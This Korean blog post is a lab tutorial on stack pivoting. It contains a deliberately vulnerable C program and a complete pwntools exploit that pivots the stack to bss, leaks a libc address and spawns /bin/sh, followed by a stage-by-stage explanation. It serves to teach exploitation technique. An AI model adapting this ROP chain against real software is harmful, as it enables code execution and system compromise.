참고 : JSec님 블로그
실습 환경 : ubuntu 18.04 |
개요
ROP를 하고 싶은데 BOF가 Return address까지 밖에 나지 않을 때 어떻게 해야 할까?
Stack pivoting
- 여러 gadget을 이용해서 쓰기 가능한 공간에 Fake Stack을 구성해놓고 Chaining하는 기법
- 특정 영역에 값을 쓸 수 있거나 값이 있는 경우 SFP를 이용하여 스택을 옮기고 해당 부분의 코드를 실행하는 기법
Stack pivoting을 하기 위한 전제 조건
- 페이로드가 저장되어 있는 영역이 존재할 경우, RET까지만 overflow 발생
- 페이로드가 저장되어 있는 영역이 없는 경우, 입력함수 + leave_ret을 넣을 수 있을 만큼 overflow 발생
- 두 경우 다 gadget이 존재해야 함
이 글에서는 두번째 경우에 따른 예제를 다룬다.
일반적으로 stack pivoing을 사용하는 경우
- RET까지만 overflow 발생 (overflow가 많이 나지 않음)
- main으로 돌아갈 수 없는 경우 (seccomp 등)
Exploit Scenario
- Fake Stack으로 사용할 공간을 찾는다. (주로 bss 영역)
- SFP 부분에 (실행을 원하는 주소-8) 을 넣는다.
- 입력함수를 RTL로 호출해서 bss 영역에 값을 입력 받로록 한다. (페이로드 입력)
- 다음 실행할 명령의 주소에 leave_ret 가젯을 넣는다.
Exploit 예제
// [출처] 34. Stack pivoting|작성자 JSec
// gcc -o source source.c -fno-stack-protector -z now -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int loop = 0;
int main(void)
{
char buf[0x30];
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
if (loop)
{
puts("bye");
exit(-1);
}
loop = 1;
read(0, buf, 0x70);
return 0;
}
main을 한 번 실행하면, loop가 1로 정의되기 때문에, main으로 return할 수 없다. 이 때 피보팅을 이용해서 해결이 가능하다.
[*] '/home/jir4vvit/stack_pivoting/source'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
참고로 보호기법은 이렇고, 익스코드는 아래와 같다.
from pwn import *
p = process('./source')
e = ELF('./source')
libc = e.libc
leave_ret = 0x40071e
pop_rdi = 0x400783
pop_rsi_r15 = 0x400781
bss = e.bss()
read_plt = e.plt['read']
puts_plt = e.plt['puts']
puts_got = e.got['puts']
payload = ''
payload += 'A' * 0x30
payload += p64(bss + 0x300) # SFP
payload += p64(pop_rdi) + p64(0) # RET
payload += p64(pop_rsi_r15) + p64(bss+0x300) + p64(0)
# rdx = 0x70
payload += p64(read_plt)
payload += p64(leave_ret)
#pause()
p.send(payload)
payload = ''
payload += p64(bss+0x400)
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss+0x400) + p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)
p.send(payload)
leak = u64(p.recv(6).ljust(8, '\x00'))
log.success('leak = ' + hex(leak))
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
log.success('libc_base = ' + hex(libc_base))
payload = ''
payload += p64(0xdeadbeef)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(0x40053e) # ret
payload += p64(system)
#pause()
p.send(payload)
p.interactive()
차근차근 살펴보자.
bss+0x300 이동 (SFP), read함수 호출
먼저 SFP에 bss + 0x300을 넣고, read를 호출해서 bss+0x300 영역에 값을 받도록 한다. 그리고 leave_ret을 실행한다.
payload = ''
payload += 'A' * 0x30 # dummy
payload += p64(bss + 0x300) # SFP
payload += p64(pop_rdi) + p64(0) # RET
payload += p64(pop_rsi_r15) + p64(bss+0x300) + p64(0)
# rdx = 0x70
payload += p64(read_plt)
payload += p64(leave_ret)
#pause()
p.send(payload)
leave_ret의 의미는 아래와 같다.
leave: mov esp, ebp + pop ebp
ret: pop eip + jmp eip
처음에 main 함수에서 leave 명령을 하게 되면 ebp 값은 우리가 설정한 값으로 바뀌게 된다.
그런데 RET에 leave_ret을 넣으면 mov esp, ebp 명령에 의해 esp는 우리가 설정한 값으로 바뀌게 된다. 그리고 pop eip+jmp eip 명령을 진행하며 우리가 설정한 영역의 명령이 실행된다.
참고로 push와 pop 명령은 esp 기준으로 실행이 된다. 예를 들어 pop eip는 esp로부터 +8yte를 복사해 eip에 담는다. (esp가 내려간다.)
따라서 eip에는 RET에 담긴 스택 주소가 들어가게 된다.
단, pop ebp 루틴 때문에 우리가 설정한 영역의 -8 위치가 실행이 된다.
- 처음에 main 함수에서 leave명령을 하게 되면...
ebp를 esp로 mov하고(esp와 ebp가 같아지고,) 8byte를 ebp에 담고 esp는 +8byte (내려간다.)
- 그리고 RET에 lave_ret을 넣었으니.. read가 호출되고 leave_ret이 호출되는데..
ebp를 esp로 mov하고 8byte를 ebp에 담고 esp는 +8byte .. (내려간다.) 그리고 또 8byte를 eip에 담고 esp는 +8byte.. (내려간다.) 마지막으로 jmp eip
chain을 걸려면 ebp 값을 변경하는 것이 핵심이기 때문에 페이로드의 첫 부분에는 다음 실행할 영역의 주소를 넣어준다.
bss+0x400 이동, leak, read함수 실행
system 가젯이 없기 때문에, puts@got 주소를 leak하여 libc base를 구해준 다음 system 함수의 실제 주소를 구해준다. 그리고 read함수를 통해 다음 실행할 영역에 입력을 받고 다시 leave_ret을 진행한다.
첫 부분엔 다음 실행할 영역의 주소를 쓴다. (여기서는 bss+0x400)
payload = ''
payload += p64(bss+0x400) # ebp
payload += p64(pop_rdi) + p64(puts_got) # RET
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss+0x400) + p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)
p.send(payload)
leak = u64(p.recv(6).ljust(8, '\x00'))
log.success('leak = ' + hex(leak))
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
log.success('libc_base = ' + hex(libc_base))
이 전 단계에서 read함수를 실행한 다음 실행하는 것이 leave_ret이었다.. 스택 최상단에 있는 값,,, 지금 보내는 페이로드의 제일 첫번째 값이 ebp 값으로 바뀐다.(leave)
그리고 그 다음에 있는 주소값을 eip에 넣고 그 주소로 jmp를 한다.(ret)
그래서 ebp가 bss+0x400으로 바뀌게 되는 것이다.
마지막에 leave_ret을 또 호출시켰으니, 그 다음 페이로드의 제일 앞에는 ebp가 와야할 것이다.
system('/bin/sh') 실행
맨처음에 ebp를 넣어주고 RET에는 system함수를 잘 실행하면 된다.
payload = ''
payload += p64(0xdeadbeef)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(0x40053e) # ret
payload += p64(system)
pause()
p.send(payload)
bss+300 / bss+400 같은 주소를 쓴 이유
system 함수와 같은 라이브러리 함수를 호출할 때, 영역을 많이 사용하기 때문이다. (영역 많이 안주면 터짐)
'System Hacking' 카테고리의 다른 글
integer overflow 2 (0) | 2021.05.19 |
---|---|
Sigreturn-oriented programming (SROP) (0) | 2021.05.10 |
RTC (Return to CSU) (수정) (0) | 2021.04.19 |
[HackingCamp 22] 퍼징의 이해 - 장대희님 (0) | 2021.03.02 |
힙풍수 (Heap Feng Shui) (2) | 2021.03.02 |